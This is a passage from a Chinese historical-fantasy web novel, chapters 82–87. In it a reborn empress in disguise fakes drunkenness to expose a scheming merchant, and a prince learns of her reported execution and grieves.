所以,这女人是完全不记得上次醉酒的事了? “好了不说这些了。你不是说有办法接近董老板吗?” 宋颜夕拍了拍手,昂首挺胸地朝前走去:“你就看好吧。” 宋颜夕舀了一杯酒,笔直朝董老板的方向走了过去。 南宫景并未跟上,而是隐在人群中盯着宋颜夕的动作。 走到董老板身边的时候,宋颜夕忽然一个踉跄往前倾倒。 手中的酒杯精准地砸到董老板身上。 “哎呀,真是抱歉啊董老板。这衣裳多少钱,我赔给你吧。” 董老板摆了摆手:“无妨无妨,一件衣裳罢了,不打紧的。” 说着,他忽然看向宋颜夕的腰部。 准确地说,是看向她挂在腰间的玉佩。 “看来,公子也是爱酒之人。董某还有一罐珍藏多年的花雕,不知公子是否赏脸一尝?” “能品尝董老板珍藏的美酒,是在下的荣幸。” 说着,宋颜夕侧身给董老板让了路:“董老板请!” 南宫景一路尾随,一直到宋颜夕被董老板领着进了一座湖心小榭。 刚进门,董老板的美妾们就把房门关上了。 宋颜夕佯装震惊:“董老板这是何意?” “公子不必紧张,这湖心风大,董某体寒受不了寒风。” “原来如此。” “桃儿,去将我珍藏的花雕酒拿过来。” 没过多久,一个美艳动人的女子就捧着一个酒罐子走了过来。 “公子如何称呼?” 董老板舀了一勺酒到酒壶里,那个叫桃儿的美妾立刻端起酒壶给他们二人斟酒。 宋颜夕端起杯子,朝董老板说道:“在下何二,是做玉石生意的。” “原来是何公子。今日能与何公子相识也是缘分,来,咱们不醉不归。” 宋颜夕拿起酒杯和他碰了一下:“不醉不归。” 蹲在屋顶上的南宫景听了这话,眉毛忍不住跳了跳。 这女人,没有酒量还敢和别人拼酒,是真的不知死活啊。 在董老板不注意的时候,宋颜夕偷偷在自己的酒杯里加了一颗药丸。 那药丸遇酒即融,无色无味,是她自己研制的解酒丸。 只要有了这解酒丸,不管喝了多少酒都不会醉。 酒过三巡,宋颜夕脸色酡红。 董老板将酒杯放在桌上:“何公子,你醉了。” “不,我没醉。董老板你有所不知,我可是出了名的千杯不醉。” 宋颜夕单手撑着脑袋,另一只手端起酒杯对着空气说道:“来,接着喝。” 话刚说完,她手中的酒杯就“乓”地一声掉在地上。 看着宋颜夕趴在桌上不省人事,屋顶上的南宫景下意识握紧拳头。 这女人,该不会真醉了吧? 屋内,董老板朝桃儿使了个眼色,桃儿立刻取下宋颜夕腰间的玉佩。 “我果然没有看错,这是西菱皇室的东西。” 听到西菱皇室四个字,南宫景顿时收起想要冲下去救人的念头。 这就是宋颜夕所说的办法吗? 用西菱皇室的东西钓董老板这条大鱼? “老爷,他该不会和前几天那两个人是一伙的吧?”桃儿问。 董老板将玉佩拽紧:“就算不是一伙的,也肯定和那件事脱不了干系。你将此人带到地牢,我去请示尊上。” 假醉的宋颜夕和南宫景同时一怔。 董老板背后果然有人指使。 所谓的地牢,便设在这水榭底下。 谁也想不到,在这梅园的湖底下竟然还藏着一个幽暗的地牢。 桃儿带着宋颜夕一路向下,走了好几个弯道之后,直接将她扔进其中一间牢房。 离开之前,还用铁链捆住了宋颜夕的手脚。 南宫景潜进来的时候,宋颜夕已经解开了手铐。 “宋姑娘,好本领啊。” 牢门外,南宫景朝宋颜夕竖起大拇指。 宋颜夕将簪子插进钥匙孔里扭了几下,牢门上的大锁应声而开。 “怎么这么久才来?”宋颜夕问。 南宫景甩了甩手中的纸条:“抽空截了个情报。” 宋颜夕接过他手中的纸条一看,却见上面都是一些看不懂的字符。 “竟然还加密了,这个董老板,够谨慎的。” 她将纸条重新塞到南宫景手中,转身朝牢房的深处走去。 当务之急,是先找到紫翎。 “奇怪,这地方如此隐蔽,竟然没有人看守?” 他们在这里走了好一会儿,连半个巡逻的人都没看到。 “哒哒哒,哒哒” 南宫景正要开口,就听见耳边传来一阵石子敲打墙壁的声音。 敲击声很有节奏,似乎藏着某种信号。 二人对视一眼,不约而同朝声音的源头跑去。 第83章:黄金楼 “不是紫翎。” 敲打墙壁的,是一个蓬头垢面的人。 那人头发凌乱,几乎遮住了打半张脸,只能从身形推断是个男人。 也许是听到脚步声,那人抬头朝他们的方向看了过来。 “真是没想到,竟然还能在这儿见到生面孔。你们是来找人的吧?” 那人的声音苍老中带着一些嘶哑,大概是很久没有开口说话,每说几个字,他就要清一下嗓子。 宋颜夕打量着他:“你知道我们要找的人在哪里?” “不知道。” 那人不再看他们,而是低头数着地上的蚂蚁:“不过,进了这个地方的人,就没有活着出去的。你们若是没找到想找的人,多半便是死了。” “不可能!” 宋颜夕拽紧袖子:“她不会这么轻易死的。” 南宫景拍了拍宋颜夕的肩膀,示意她开锁。 宋颜夕会意,三两下就将那把锁打开了。 “倒是有些本事。” 那人轻笑一声:“这地方可是龙潭虎穴,你们还是速速离去吧,再晚,怕是走不了了。” 南宫景却是直接推门而入:“不如,前辈与我们一同离开,如何?” 那人愣了一下:“你们,竟是来找我的?” 宋颜夕也是一脸疑惑,这个男人忽然抽什么风? 难道,他认识眼前这人? 南宫景并未回答,而是又问了一句:“若我们有把握带你离开,你是走,还是不走?” 那人沉默了。 南宫景却再次将那门锁挂了回去:“既然如此,便当我们从未见过。” 还没等宋颜夕搞明白他这波操作,南宫景就拉着她离开了。 他们在地牢里找了一圈都没有找到紫翎,最后,宋颜夕索性又回到了最初被关押的那个牢房中。 “不打算出去了?”南宫景问。 宋颜夕靠在墙壁上闭目养神:“那个董老板有问题,我必须留下来才能挖出他的秘密。” 她必须知道董老板背后之人是谁,那人又为何会对西菱之事如此了解。 直觉告诉她,那个所谓的“尊上”与她前世被害之事脱不了关系。 见她心意已决,南宫景也不再劝阻。 “我送你的骨哨还带着吗?” 宋颜夕点点头。 “若有危险,记得吹哨。” 说完这句话之后,南宫景就转身离开了。 走到地牢入口的时候,忽然听见旁边的石壁上传来很有节奏感的敲击声。 声音很轻,却无比清晰地钻进了他的耳中。 南宫景勾了勾嘴角,转身朝方才那间牢房走去。 …… 被关了一夜之后,宋颜夕“悠悠转醒”。 刚一睁眼,就看到前面坐着一个熟人。 “董老板,您这是什么意思?” 宋颜夕佯装震惊,扯了扯手上的铁链。 铁链来回晃动,发出清脆的撞击声。 “何公子不要惊慌,我之事想和你做笔买卖而已。” 董老板从怀中掏出昨天从宋颜夕身上抢走的玉佩,道,“这玉佩,你是从何处得来的?” 宋颜夕盯着那玉佩:“自然是高价收来的,难道董老板是看上这玉佩了?若是您喜欢这玉佩,我将它送给董老板便是。” 其实,这玉佩是紫翎离开西菱时带出来的众多物品之一。 这样的玉,他们带了不少。 当时,巫黛让紫翎来东越刺杀大长公主。为了通关,紫翎便是乔装成玉石商人才得以进入东越地界。 在东越与西菱的停战协议里,两国通商也是其中一项条款。 原本,她准备的都是一些普通玉石,但奇怪的是,不知为何会混入皇室才能佩戴的玄黄玉。 当宋颜夕第一次看到这枚玉佩的时候也有些疑惑。 但紫翎却表示,这些货物都是一个叫“芊浔”的暗卫替她准备的。 入了东越之后,他们曾经遭遇过一次暗杀。“芊浔”在那次战役之后便不知所踪了。 宋颜夕便是怀疑董老板的那个美妾与“芊浔”有关,这才将此玉戴在身上。 为的就是,引蛇出洞。 “何公子这可就误会我了。” 董老板朝桃儿使了个眼色,桃儿立刻上前解开宋颜夕身上的铁链。 “我虽然是米商,但是对玉石也颇有研究。何公子这玉一看便价值不菲,若是我没看错的话,这东西应该是地底下来的。你我一见如故,我也是担心何公子因此吃了官司,这才将你留在此处的。” 宋颜夕在心里冷哼一声:【是啊,最大的那个贼,不就是你吗?】 “竟然还有这种事?” 她佯装害怕,对董老板拱手道:“在下只知这玉成色极佳,却不想,差点因为此物招来大祸。还要多谢董老板提点,依董老板所见,我应该如何处置这玉?” “买卖赃物是大罪,不如何公子告诉我,你是从何处得到这玉佩的?” 宋颜夕随口扯了个谎言:“我是在黄金楼一个商贩中购得此物的。” “黄金楼”是东越与邻国通商的产物,来自各国的商人可以在这里进行商品交易。 但为了确保安全,“黄金楼”每月只开一次。 这个月的开市日,正好是明天。 第二天,董老板带着宋颜夕进入“黄金楼”。 “何公子,你确定还能认出那人吗?” 宋颜夕点了点头:“若那人还在此处贩卖玉石,我定能认出他来。届时,还请董老板为我作证。” “这个你大可放心,只要将那盗墓贼交给官府,何公子便能从此事中摘出来。” “那就多谢董老板了。” 黄金楼占地面积很大,足足有五层楼这么高,每一层所卖商品都不同。 玉石商人集中在第四层。 当他们踏进第四层时,宋颜夕一眼就看到了乔装打扮的南宫景。 说来也怪,虽然此刻的南宫景一副外邦人的打扮,而且脸上还贴了人皮面具,宋颜夕还是一眼就认出了他。 “就是他。” 宋颜夕低声在董老板耳边说了一句,指尖朝着南宫景的方向指去。 董老板会意,立刻朝身后的人比了个手势。 很快,他带来的人就将南宫景围住了。 南宫景佯装不知,朝董老板笑笑:“贵客可是要买玉石?我这些可都是上品,贵客随意挑选。” 董老板拿起几块玉石瞧了瞧,果真在其中一块玉石背后看见了西菱皇室的标记。 “大胆盗墓贼,竟敢在黄金楼买卖赃物,把他给我抓起来。” 董老板一声令下,那些人立刻抽出武器朝南宫景身上刺去。 第84章:她也是玄弥? 南宫景一个侧身躲过攻击。 只见他伸手朝桌子下一抓,一柄泛着银光的宝剑便出现在他掌心。 “什么盗墓贼,我这可是正经买卖,这位客人可不要冤枉人。” “冤枉?” 董老板捏着那玉石,目录凶光:“有哪个贼会承认自己是贼?给我拿下。” 南宫景手持长剑:“我看,你们才是强抢我玉石的强盗。” 正当他准备大杀四方的时候,眼前忽然升起一股黑烟。 南宫景刚举起手中的剑,手腕就被抓住了。 “跟我走。” 一道清冷的女声传入耳中。 当浓烟散去,黄金楼哪里还有南宫景的身影。 “可恶,竟然让他跑了。” 董老板怒极。 转身的时候,却见身后的宋颜夕也早已不在原地。 “大人,他们一定是串通好的。” 董老板一脚踢飞眼前的桌子:“给我搜,务必要把人给我找出来。” 黑烟出现的时候,宋颜夕便察觉不对先一步离开了黄金楼。 她追到楼下,正好看到一个黑衣人带着南宫景从四楼跃下。 还没等她追上去,那二人便几个纵跃消失在她的视线中。 “这没有武功底子的身子,就是不经用。” 宋颜夕跺了跺脚,朝丞相府的方向跑去。 虽然不知道究竟是谁带走了南宫景,但以那男人的本事,应该不会有性命之忧。 董老板抓不到人,肯定会迁怒于她。 当务之急,她得把自己藏好了。 另一边,南宫景被黑衣女子带到城郊的一处破庙。 “他们应该追不上来了,咱们暂时安全。” 黑衣女子一边说,一边扯下面巾。 南宫景观察着眼前的女子,很确定自己并不认识此人。 “放心,我对你没有恶意。” 许是瞧出他眼中的警惕之色,那女子拉起衣袖,露出手腕上的纹身:“我是玄弥。” 南宫景诧异,这女子竟然也自称玄弥? 她与宋颜夕,是什么关系? “怎么,你不信我?” 南宫景收敛心神:“素闻玄弥大人神龙见首不见尾,光凭这个,如何证明你便是玄弥?” “你倒是谨慎。” 玄弥从佛像后掏出一个包袱扔到南宫景手里:“此番多亏了你以玉石吸引那叛贼的注意,我才能拿到真正的情报。如今你的身份既已暴露,便不能再留在上京城了。我给你准备了新的户籍卡,你尽快离开此地,前往兖州城。有需要,我会再联系你。” 情报? 南宫景眸光一闪,所以,那董老板对那块玉石如此看重,是误以为玉石中藏了情报? 而且,还是有关西菱皇室的情报。 如此说来有,那个疑似西菱暗卫的“女眷”怕也是董老板故意推出来的诱饵。 目的,就是为了引出眼前的这个“玄弥”。 只是没想到,没引出玄弥,却把他和宋颜夕诓骗入局。 那份情报,如今便在这女子身上吗? 到底是什么样的情报,让他们如此大费周章地送出来。 “怎么还不走?”见他没有动作,玄弥开始催促。 南宫景捏紧包袱:“我走了,你怎么办?不如我留下来帮你?” “不用。” 玄弥从寺庙中撕下一块破布擦拭着手中的弯刀:“等我查出与那叛贼勾结之人,自会来寻你。到时,你我一同为陛下报仇。” 说完这句话,她将那破布重重摔在地上,眼中迸发出熊熊火光。 南宫景手中的包袱瞬间滑落在地。 他一把抓住玄弥的手腕,神色紧张:“陛下怎么了?为何要为陛下报仇?” “你竟然不知道?” 玄弥手中的弯刀瞬间架在他的脖子上:“你到底是谁?” “我当然是忠于陛下之人。但我在东越多年,一切都是按照紫翎大人的命令行事,大人让我在黄金楼贩卖皇室玉石,我便照做了。可大人从没跟我说,陛下出事了啊。” “原来,你是紫翎的人。” 见南宫景目光清澈,看不出撒谎的痕迹,又想到方才董老板是真的想要对他下手,这才放松警惕。 “那等机密要事,你不知道也正常。此事于我西菱至关重要,你莫多问,还是赶紧走吧。” “不行,我不能走。” 南宫景字字铿锵:“陛下待我恩重如山,如今陛下有难,我岂能坐视不管?只要能为陛下效力,无论上刀山下火海,我都在所不辞。” 听了他的表态,玄弥眼中闪烁着莹莹泪光:“陛下若知晓你对她如此忠心,在九泉之下也能安心了......” “轰~” 南宫景只觉得一记惊雷在脑中炸开。 他的眼睛一片通红,如一头即将暴走的狮子:“你说,九泉之下?难道,陛下她已经......遇害了?” 看着他此刻的模样,玄弥也忍不住流下两行清泪。 她拍了拍南宫景的肩膀:“我知你对陛下一片忠心,你放心,等他日回到西菱,我定将巫黛千刀万剐。但在此之前,我们必须蛰伏。” “是巫黛杀了她?” 南宫景几乎控制不住体内汹涌的血液,“陛下武功极高,况且身边又有贴身护卫,巫黛怎么杀得了她?” “陛下遇害时,我并不在西菱,个中细节我也不太清楚。但芊浔传出来的密报中提到,她亲眼看到陛下被......” 南宫景捏紧拳头:“被如何?” 玄弥转过脸去,啜泣声在破庙中响起,良久,才吐出四个字:“五马,分尸。” 五马分尸? 听到这四个字的时候,他再也忍不住,一把掐住玄弥的脖子: “她可是西菱女帝,她执掌皇权,睥睨天下,怎么能被五马分尸?” 被掐住脖子的那一瞬间,玄弥只觉得浑身的力气都被抽走。 也正是到了此时,她才意识到眼前这个男人的力量有多可怕。 这样的人,绝不仅仅是一个底层细作。 “你,到底是谁!” 南宫景是恨不得掐死这个诅咒月容的人,然而他脑子里却忽然闪过月容曾经说过的话。 “但凡是我西菱百姓,只要不作奸犯科,我定当全力保护。我既身为帝王,便有庇护万民之责。” 他猛地松手,直接将玄弥甩了出去。 得了自由之后,玄弥立刻捡起地上的弯刀,毫不犹豫地朝南宫景刺了过去。 第85章:她的死讯 就在弯刀即将砍向南宫景身体的时候,南宫景直接一掌劈晕了她。 很快,破庙中涌入一群身穿铠甲的士兵。 为首的,正是那日在城郊山上救过宋颜夕的左翼。 “把她带下去,仔细审问,务必要让她把知道的事情全都说出来。” 玄弥被带走之后,南宫景猛地吐出一口血。 左翼向前想要搀扶,却被他伸手制止了:“西菱那边,还没有新消息吗?” 左翼垂下脑袋:“属下无能。” 南宫景踉跄着朝门口走去,整个人如同失去生机的木偶一般:“找到段恒,将那个叫紫翎的细作带回去,分开审问。” “属下领命。” ...... 宋颜夕是从小门潜入相府的,回到梧桐苑的时候,正好看到春分在房门口来回踱步。 “春分,出什么事了?” 见到宋颜夕的时候,春分眼中闪过一道喜色:“姑娘,你可算是回来了。” 从春分口中,宋颜夕得知了几天前发生的事。 那日,老夫人带着人来找茬,阿贵为了在宋颜夕面前表现,将老夫人带来的护卫都拦下了。 但后来,宋诚竟然也来了。 阿贵被宋诚带来的人打成重伤之后,替身“宋颜夕”便被老夫人以管教为名直接带走了。 “何必这么紧张,以谷雨的能力,应付老夫人绰绰有余。况且以我如今的身份,老夫人即便是心中有怒气,也不敢真对我做什么。” 春分和谷雨都是紫翎暗中带进府邸的,也是西菱的暗卫。宋颜夕对她们有绝对的信心。 “可是姑娘,人皮面具必须三天换一次啊。” 眼下已经第五天了,春分担心,谷雨那边出现纰漏。 宋颜夕倒是不担心:“若真穿帮,这相府早就闹翻了。你替我准备一套衣服,我这便去青松院瞧瞧。” 当宋颜夕穿着丫鬟装潜入青松院的时候,无意间瞧见姜淑萍拉着宋婉儿从院中走出来。 姜淑萍的脸上倒是瞧不出什么,但那宋婉儿却像是受了什么天大的委屈,一路上嘟囔着嘴,瞧着像要哭出来似的。 宋颜夕忍不住揣测:莫非,那老夫人不仅不待见宋彩衣,对这位嫡女也不给好脸色? “婉儿你也别往心里去,老夫人是为了替宋娇娇出气才把宋彩衣关进祠堂的。咱们为宋彩衣求情,老夫人自然不喜。” “我就不明白了,老夫人怎么就独宠着那宋娇娇呢?” 宋婉儿的声音中透着几分不甘心,“分明我才是相府嫡出的大小姐。” “老夫人疼爱谁不重要,你只需要记住,只有你才是相府最尊贵的千金。那些上不得台面的丫头片子,不过是你锦绣人生中的踏脚石罢了。” 说到这儿,姜淑萍拍了拍她的手背,“但前提是,你不能犯错。所以婉儿,不管你心中有多不满,都得给我忍住了。” 看着她们的身影消失在夜色中,宋颜夕眯了眯眼。 不愧是执掌后宅多年的女人,这个姜淑萍果然不简单。 来到祠堂,果然看到谷雨端正地跪在那儿。 就着微弱的烛光,宋颜夕清晰地看到她脸上的裂纹。 “姑娘,您回来了。” 谷雨起身朝她行礼,宋颜夕朝她摆了摆手:“没露馅吧?” 谷雨摸向自己的脸:“那些人将我带到祠堂之后就离开了,此后再也没管过我。” 所以,根本就没人发现谷雨的异样。 宋颜夕点头,与她互换衣服后,将董老板的事简单与她说了。 “这儿交给我。你先离开相府,务必要找到紫翎。” 谷雨离开之后,宋颜夕开始复盘。 一轮明月从天井中洒落下来,照在她的脸上。 宋颜夕轻叹一声:“紫翎,你可一定要活着回来见我啊。” 此时此刻,紫翎正在一处废弃民宅里和段恒大眼瞪小眼。 “你这登徒子,看我不杀了你!” 她从床上跳下来,伸手就往段恒脖子上劈去。 段恒一个闪身躲过:“你这姑娘怎的如此彪悍,我可是你的救命恩人。” “我何时让你救我了?” 说着,她双手握拳又要往段恒身上打去。 段恒无奈,只能点了她的穴道。 “放心吧,伤口的药不是我给你上的。” 说着,段恒指了指角落里那个被五花大绑而且已经晕过去的女子。 紫翎:“她是何人?” “随手抓的。等此事了结,我自会放她离开。” 说话的时候,他一直在观察紫翎的表情。 在董府的时候,他还不知道这个女子的身份,但自从他从董老板手中救出她,见到她的真容时便知道。 眼前这位,就是当初刺杀大长公主的刺客。 知晓她身份的那一刻,他其实是不打算救她的,但一想到南宫景曾经交给他的任务,他便又改变了计划。 这女子既是西菱刺客,或许能从她嘴里套出有用的消息。 “冷静了吗?若是冷静了,我便替你解开穴道。” 解开穴道的那一刻,紫翎捂着胸口重新坐回床榻上。 那一刀刺得太深了,她不过是动了几下便觉得伤口疼得厉害。 段恒将一套深色男装扔到床上:“换上这个,天亮之后,我带你去找大夫。” 第二天,段恒果真带着她去了医馆。 从医馆出来的时候,他们被一群人拦住去路。 见到左翼,段恒有些诧异。 还没等他开口询问,左翼便一声令下:“把他们带回去。” 紫翎试图反抗,但她实在是伤得太重了,很快就被左翼带来的人劈晕在地。 “王爷不是说暂时不动她吗?发生什么了?” 见紫翎被带走,段恒追上去问道。 左翼看了段恒一眼:“出大事了,先回去再说。” 回到王府之后,段恒终于明白左翼那句“出大事了”代表的意思。 那个胡子拉碴,整个人阴狠得如同从地狱里爬出来一般的男人,真的是他们家王爷吗? “王爷,紫翎已经带到。” 南宫景挥了挥手:“带下去。” 一个时辰后,左翼派人来报,紫翎与玄弥意志坚定,不肯招供。 又过了一个时辰,仍然不肯招供。 随着时间一点一滴过去,南宫景的耐心也已经耗尽。 他“腾地”起身:“那就去相府,把那个女人带过来。” 虽然并未提及名字。 但在场的人都知道,他口中之人,指的便是宋颜夕。 第86章:密室里的画像 宋颜夕是被“大长公主”的一道令牌放出祠堂的。 “好你个宋彩衣,竟偷偷向大长公主告状了。我倒是小瞧了你。” 看着宋颜夕坐上大长公主府的马车,躲在暗处的宋娇娇忍不住折断手中的花。 还以为老夫人回来后,她便可以借老夫人的手将宋颜夕除去,没想到竟然只是关了几天祠堂就被放出来了。 刘云香走到她身边:“如今那宋彩衣正得大长公主宠爱,娇娇啊,你可莫要再与她对着干了。” 宋娇娇跺着脚离开,刘云香叹了一口气,快步跟了上去。 若不是宋德千叮万嘱不能泄露柳如风的病情,她早就与宋娇娇说清楚了。 为今之计,她只能盯着宋娇娇,免得她一时冲动再闯出祸事。 另一边,宋婉儿和姜淑萍也在瞧着他们。 “三叔母的样子不对啊,母亲你说,他们该不会是知道什么了吧?” 姜淑萍不以为意:“知道便知道了,没了那母女俩捣乱,宋彩衣才能顺顺利利嫁进侯府。到了那时,侯府的财富不都是咱们的?” 宋婉儿冷笑一声:“倒是便宜那上不得台面的村姑了。” “婉儿啊,你身为相府嫡女,说话可要注意分寸。这种粗鄙之言,若是教他人听去,于你名声不利。” “知道了知道了。” 宋婉儿搅弄着手中的帕子:“说起来,距离婚期也就只剩半个多月了吧,真希望宋彩衣赶紧嫁过去,她一日不嫁,我便一日不安心。” “放心吧,安远侯府已经下聘,既然定下的是宋彩衣,这桩婚事便怎么都落不到婉儿你的头上。” 姜淑萍替宋婉儿理了理发丝:“惟有这东越最尊贵无双的男儿,才配得上我们家婉儿。” 自以为胜券在握的姜淑萍,此刻正满心满眼地替宋婉儿盘算。 殊不知,等到安远侯世子重新出现于世人面前,顷刻间便夺走了宋婉儿的一颗芳心。 然而那时,柳如风的眼中,却只装得下另一个风姿绰约的女子。 ...... 宋颜夕并未被接到大长公主府,而是被带到了一片荒山之中。 马车停下的时候,宋颜夕便察觉不对劲。 当她从马车上跳下来,那驾车之人早已不知所踪。 她在林子里走了很久,都没有发现一个人影。 等到她走回原地的时候,却发现,来时乘坐的马车也不翼而飞了。 “假传大长公主之令将我从丞相府接出,又将我扔在这荒山之上,到底是何用意?” 她定了定神,掉头往下山的方向而去。 虽然不知道幕后之人为何将她带到此处,但有一点可以确定。 这个地方,绝对不能久待。 一路上静悄悄的,连鸟鸣声都不曾听到。 宋颜夕皱了皱眉,加快脚步往山下走去。 然而她一路向下走了许久,却仍然不见人烟。 当她停下脚步,却发现竟然又回到了最初的位置。 这座山峰像是一个巨大的迷宫,无论她怎么走,都走不出去。 ...... 与此同时,南宫景也收到了段恒带来的消息。 “大长公主把人接走了?” 段恒点头:“丞相府的人是这么说的,而且确实有人看见公主府的马车从相府接走了人。但,属下去公主府探过了,公主殿下并未召见宋二姑娘。属下一路追查,并未查到宋二姑娘的去向。她似乎,凭空消失了。” 南宫景捏了捏眉心,眼中的暴躁之色已然压抑不住:“消失了吗?偏偏是这个时候。” “王爷,您累了。不如先休息一会儿吧。属下保证,一定将宋二姑娘带到您面前。” 南宫景却直接起身朝外走:“既然如此,本王便亲自审问。” 刚走到门口,却见白栀匆匆忙忙跑了过来。 “王爷,西菱传来消息。” 南宫景顿时停下脚步,他几乎是颤抖着从白栀手中将那封密件夺了过去。 一目十行地看完信上的内容,南宫景浑身的力气仿佛都被抽去。 他趔趄着后退两步,高大的身躯猛地撞上门框,发出巨大的响声。 “王爷,您怎么了!” 当那封信掉落在地上,段恒和左翼同时看到上面凌乱的字符。 解读后,归结一句话: [巫黛夺权,女帝已死,死因:五马分尸] 那一刻,他们不约而同屏住了呼吸。 “王爷......” 白栀张了张嘴,却是说不出半句安慰的话。 南宫景有多宝贝西菱女帝,他们都是看在眼里的。 当时,恰逢先帝薨逝。南宫景原本是最有希望坐上皇位的。 可他深知一旦他坐上那个位置,和女帝就再无可能。 是以,他直接扶持大长公主的亲侄儿登上帝位。又在西菱、东越战事频发之际自请为将,远赴边关,为的就是减少双方将士伤亡。 如今,两国好不容易签订停战协议。 他终于有机会求娶女帝,没想到,女帝却早已命丧黄泉。 …… 在他们的注视中,南宫景转身进房。 “乓……” 房门被重重关上,屋外的人面面相觑,谁都不敢往前一步。 门被关上的那一刻,南宫景不可控制地喷出一口血。 他无心擦拭,拖着沉重的步伐走到一个柜子前。 他在柜子上的某个地方按了一下,柜子便朝旁边移了过去。 那是藏在书房后面的一间密室。 密室里,挂满了画。 那是一个绝色女子,每张画都有不同的神态。 或驰骋疆场,或桀骜狂笑,或面露愠色,或踏雪寻梅…… 无一例外的是,每一张画像的右下角都写着两个字——淮书。 “淮书”,是南宫景的字。 这里的每一幅画,都是南宫景亲手所绘。 而画上之人,正是女帝月容。 南宫景走到书桌前坐下,桌上还摊着一张未完的画。 指尖抚摸着画上之人,南宫景终于忍不住留下一滴泪。 “五马分尸,你该有多痛啊。巫黛她……怎么敢,怎么敢……” 他将脑袋深深埋下,右手紧紧拽着掌下的纸张,却又在见到画上之人的脸被弄皱之后懊悔不已。 他慌乱地去抚平那张已经被泪水浸湿的脸。 随着他的动作,原本姣好的面容只剩下一片青黑。 “你是那样顽强,怎么可能会死呢?你一定还活着,对不对?” 南宫景将那副已经看不清容颜的画深深扣在胸前,眼中迸发出熊熊火光。 “月儿你放心,哪怕上穷碧落下黄泉,我一定会把你找回来的。那些伤害过你的人,我一个都不会放过。” 巫黛是吧? 你想要执掌天下,本王就偏偏要你失去所有。 本王,要将你挫骨扬灰!永生永世,不入轮回。 第87章:醉酒? 宋颜夕不知道自己在林子里走了多久,等到暮色西沉,她都没能离开那片山林。 走得乏了,她索性在一块很大的石头上盘腿坐了下来。 “鬼打墙吗?” 她单手撑着下巴,看向那逐渐变得暗沉的丛林。 看着看着,她忽然就笑了。 “我便是从地狱里爬出来的厉鬼,还怕这区区鬼打墙不成?” 她干脆将身体往后一仰,双手枕着脑袋仰面躺在那巨大的石头上。 月光渐渐升起,银辉透过树叶间的缝隙洒落在她身上,在她周身盘旋成一圈淡淡的光晕。 就着月光,她缓缓闭上眼睛。 不多时,耳边便出现了一些细微的声响。 像是一种用特制工具打磨出来的,哨声。 她勾了勾嘴角,右手不动声色地放在腰间。 等到那声响逐渐逼近,她猛地起身,右手飞快射出数枚银针。 “嗤!” 利刃入体的声音传来。 随着一声闷哼,原本幽暗的林子顿时洒进一片日光。 当一切阴霾散尽,宋颜夕终于看清周围的一切。 这根本就不是什么树林,而是一座废弃庭院。 此时此刻,她面前正趴着一道瘦小的身影。 “就是你在背后捣鬼吧,我倒要瞧瞧,你究竟是什么人。” 说罢,宋颜夕五指成爪,迅速朝那人身上抓去。 那人也是个厉害的,还没等宋颜夕碰到他,就一个侧身滚了出去。 不过宋颜夕那几根针可是加了“料”的,他这一滚,那些针尖上的药物便迅速扎进他的血液里。 才滚了两圈,那人的身体就缩成一团。 “这下看你怎么跑?” 说着,宋颜夕再次伸手朝那人抓去。 然而这一次,她仍然没有抓到那个人。 “竟然还有帮手?” 就在她即将逮到那个人的时候,忽然有一道黑影从她面前掠过。 不过眨眼功夫,那人便消失在眼前。 宋颜夕一句追到庭院外,只在一个泥潭旁边找到一个脚印。 她用手测了测,凭借脚印的大小判断,那个黑影应该是个男人。 “就这样走了?” 宋颜夕琢磨不透。 那人如此费尽心思把她带到这,就只是为了利用那个阵法将她困住? 从那个人的身手来看,她未必是他的对手。 对方的目的到底是什么呢? 因为没有马车,她只能一路走回城里。 一直到她走在上京城清冷的街道上,都没想明白这个问题。 很快,她的目光就被不远处那道踉踉跄跄的身影吸引。 他手里拎着酒壶,正好撞上几个体格彪壮的男人。 “那是,何越?” 宋颜夕看了一眼天色,最终还是朝南宫景的方向走了过去。 “怎么走路的?没长眼呐?” 因为壶里的酒洒到其中一人身上,那些人立刻将南宫景围在中间。 “让开!” 南宫景声音低沉,隐约,还带着一些沙哑。 “哟,脾气还不小。我告诉你啊,你把小爷的衣裳弄脏了,你就得赔钱。” 那人朝身边的同伴使了个眼色,立刻有两个人上前架住南宫景的胳膊。 然而他们的手才刚刚碰到南宫景,就被一股庞大的力量震飞出去。 “你!” 那人正要说什么,却在见到南宫景那双血红色的眼睛时顿时愣住了。 “还要赔钱吗?”南宫景问。 那人摇了摇头,几乎是颤抖着退到一旁,给南宫景让出一条路来。 宋颜夕走过来的时候,看到的就是这一幕。 她上前一步,直接抓起南宫景的手腕:“你怎么会在这里?为什么喝闷酒?那天到底发生了什么?” 手腕被抓住,南宫景下意识将宋颜夕推了出去。 他的力气很大,宋颜夕几乎是直接被他推到在地上。 坐在地上的时候,宋颜夕的脑袋有片刻宕机。 自从相识以来,“何越”给她的感觉是神秘、强大、行事果决的。 她还从没见过这样的“何越”。 怎么说呢? 有一种,近乎绝望的,疯癫感。 也就是这一个愣神的功夫,南宫景已经走出很远。 宋颜夕从地上爬起来,正要追过去,却被拦住了。 “你认识那个人?” “他弄脏了我的衣服,快赔钱。” 宋颜夕将手伸向腰间的荷包:“多少钱?” “三百两。” 宋颜夕动作一顿:“你说,多少?” 那人上下打量着宋颜夕:“我看你穿得不错,该不会连三百两都拿不出来吧?” 宋颜夕双手交错于胸前:“我倒是不知道你穿的是什么衣服,竟然值三百两呢?” “那是你不识货,这可是上好的天丝锦,火烧不断,刀划不破。千金难买。收你三百两,已经是便宜你了。” 许是看宋颜夕是个弱女子,那些人讹起钱来有恃无恐。 宋颜夕转了转手腕:“天丝锦是吧?好,我给你三百两。” 南宫景走到桥上的时候,忽然听见身后传来几道杀猪般的惨叫声。 他晃了晃脑袋,回头一看,正好见到宋颜夕一脚踩在其中一个男人的身上。 她手中不知何时出现了一把刀,正粗鲁地划向那个男人的衣服。 很快,男人身上就挂满了银色的“布条” 风一吹,还能看到…… “我看这天丝锦也不怎么样嘛。不过本姑娘也不是不讲道理的人。既然划破了你的衣服,自然是会赔的。” 她把玩着手里的刀:“不过,就你这布料,顶多也就值一两。” 说着,宋颜夕掏出一两碎银子,直接扔到那人身上。 临走的时候,还不忘将那人身上的布料扯了下来。 动作之彪悍,让南宫景顿时清醒不少。 但同时,又忍不住捏了捏眉心。 有那么一瞬间,他觉得宋颜夕和他记忆里的月容重叠了。 “喂,还看?” “要掉下去了。” 宋颜夕不知何时走到他面前,不动声色地将他往身边拉了拉。 也不知是宋颜夕力气太大,还是南宫景神情恍惚。竟真的被她拉了过去。 此时此刻,他们之间的距离,就只有半只手臂那么短。 “真喝醉了?” 见南宫景双眼赤红,且目光游离,宋颜夕伸出手指在他面前晃了晃。 “从黄金楼被带走之后,到底发生了什么?你怎么一副要死不活的样子?”宋颜夕问。 